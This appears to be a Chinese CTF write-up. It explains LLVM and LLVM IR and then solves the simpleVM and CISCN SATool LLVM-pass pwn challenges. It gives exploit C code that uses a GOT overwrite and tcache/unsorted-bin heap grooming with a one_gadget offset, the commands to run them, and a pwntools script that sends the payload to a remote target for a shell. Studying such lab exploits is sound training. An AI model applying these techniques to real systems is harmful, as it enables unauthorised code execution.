前言:从两道题来学习LLVM PWN题型,一道是红帽杯的simpleVM,一道是ciscn国赛的SATool,这两道是比较经典的LLVM pwn题,这里写下文章来记录学习下
LLVM是一个编译器框架。LLVM作为编译器框架,是需要各种功能模块支撑起来的,你可以将clang和lld都看做是LLVM的组成部分,框架的意思是,你可以基于LLVM提供的功能开发自己的模块,并集成在LLVM系统上,增加它的功能,或者就单纯自己开发软件工具,而利用LLVM来支撑底层实现。LLVM由一些库和工具组成,正因为它的这种设计思想,使它可以很容易和IDE集成(因为IDE软件可以直接调用库来实现一些如静态检查这些功能),也很容易构建生成各种功能的工具(因为新的工具只需要调用需要的库就行)。
请看下边这个图:
这个图是Clang/LLVM的简单架构。最初时,LLVM的前端是GCC,后来Apple还是立志自己开发了一套Clang出来把GCC取代了,不过现在带有Dragon Egg的GCC还是可以生成LLVM IR,也同样可以取代Clang的功能,我们也可以开发自己的前端,和LLVM后端配合起来,实现我们自定义的编程语言的编译器。
LLVM IR是LLVM的中间表示,这是LLVM中很重要的一个东西,介绍它的文档就一个,LLVM Language Reference Manual:https://llvm.org/docs/LangRef.html(看名字就觉得大气,LLVM语言参考手册,但浩浩荡荡一大篇文章,读下来还是需要精力的),大多数的优化都依赖于LLVM IR展开。我把Opt单独画在一边,是为了简化图的内容,因为LLVM的一个设计思想是优化可以渗透在整个编译流程中各个阶段,比如编译时、链接时、运行时等。
在LLVM中,IR有三种表示,一种是可读的IR,类似于汇编代码,但其实它介于高等语言和汇编之间,这种表示就是给人看的,磁盘文件后缀为.ll;第二种是不可读的二进制IR,被称作位码(bitcode),磁盘文件后缀为.bc;第三种表示是一种内存格式,只保存在内存中,所以谈不上文件格式和文件后缀,这种格式是LLVM之所以编译快的一个原因,它不像gcc,每个阶段结束会生成一些中间过程文件,它编译的中间数据都是这第三种表示的IR。三种格式是完全等价的,我们可以在Clang/LLVM工具的参数中指定生成这些文件(默认不生成,对于非编译器开发人员来说,也没必要生成),可以通过llvm-as和llvm-dis来在前两种文件之间做转换。
能注意到中间有个LLVM IR linker,这个是IR的链接器,而不是gcc中的那个链接器。为了实现链接时优化,LLVM在前端(Clang)生成单个代码单元的IR后,将整个工程的IR都链接起来,同时做链接时优化。
LLVM backend就是LLVM真正的后端,也被称为LLVM核心,包括编译、汇编、链接这一套,最后生成汇编文件或者目标码。这里的LLVM compiler和gcc中的compiler不一样,这里的LLVM compiler只是编译LLVM IR。
知道了LLVM是什么东西,就看两道题来进行开端
simpleVM题型刨析:
此样题难度在于逆向入口,需要找到虚表来精确确认入口,下面把so文件拖到ida里,找到start函数f5,然后再进行找
依次按照图片就能找到
再次点击开一个函数:
经过分析发现有个类似于vm题型的虚拟指令opcode函数匹配函数,再次点击开进到里面去
经过逆向分析,发现有pop、push、store、load、add、min这些指令,仔细分析的话发现load、store、add结合起来有任意读写漏洞
思路:算好偏移写freegot表为rce即可
直接写exp就可以了
#include <stdio.h>
void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);
void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0x72a9c);
store(1);
}
注意这里运行的方式跟其它pwn题不太一样,需要使用clang进行获取IR文件,再用官方给的opt进行运行即可
clang -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./VMPass.so -VMPass ./exp.ll
CISCN Staool刨析:
第一步一样也是找虚表进行精确入口,这里就不演示了,直接找到主要的函数,进行刨析,经过审计,发现主要函数有以下虚拟指令:stealkey fakekey takeaway run save,能产生联合漏洞利用的是
save:
可以申请heap chunk可以想到此题和堆相关
stealkey:
这里验证了上一步的设想,就是能把地址交给chunk。。。噗嗤。。
fakekey:
这个是个任意写,。。。
run:
还有一点获取主函数:
看名字就知道直接运行功能
结合这几个函数,我们形成一种思路:这个save只能申请0x20chunk大小所以我们把tc的全部申请完,再次申请就能切割其它的unsrotbin,这时候就能残留libc的地址,下一步算偏移,让fd指针+onegadget就能直接获取shell了。。。。,具体看exp
exp:
#include <stdio.h>
int run(){return 0;};
int save(char *a1,char *a2){return 0;};
int fakekey(int64){return 0;};
int takeaway(char *a1){return 0;};
int B4ckDo0r()
{
save("aaaa","aaaa");
save("aaddd","aadd");
save("ssss","sss");
save("ssss","sssss");
save("sssss","sssss");
save("\x00","ssssss");
stealkey();
fakekey(-0x2E1884);
run();
}
int main()
{
B4ckDo0r();
}
编译程序还是用clang进行编译
clang -emit-llvm -S exp.c -o exp.ll
./opt-8 -load ./VMPass.so -VMPass ./exp.ll
打远程的话用官方给的脚步就可以了
from pwn import *
import sys
context.log_level='debug'
con = remote(sys.argv[1], sys.argv[2])
f = open("./exp.bc","rb")
payload=f.read()
f.close()
payload2 = payload.encode("base64")
con.sendlineafter("bitcode: \n", payload2)
con.interactive()
总结:通过两道LLVM PWN题学到了不少新知识,下面暑假会把重心放到逆向上面,我逆向分析太菜了。。。加油吧,开学进军内核,主攻内核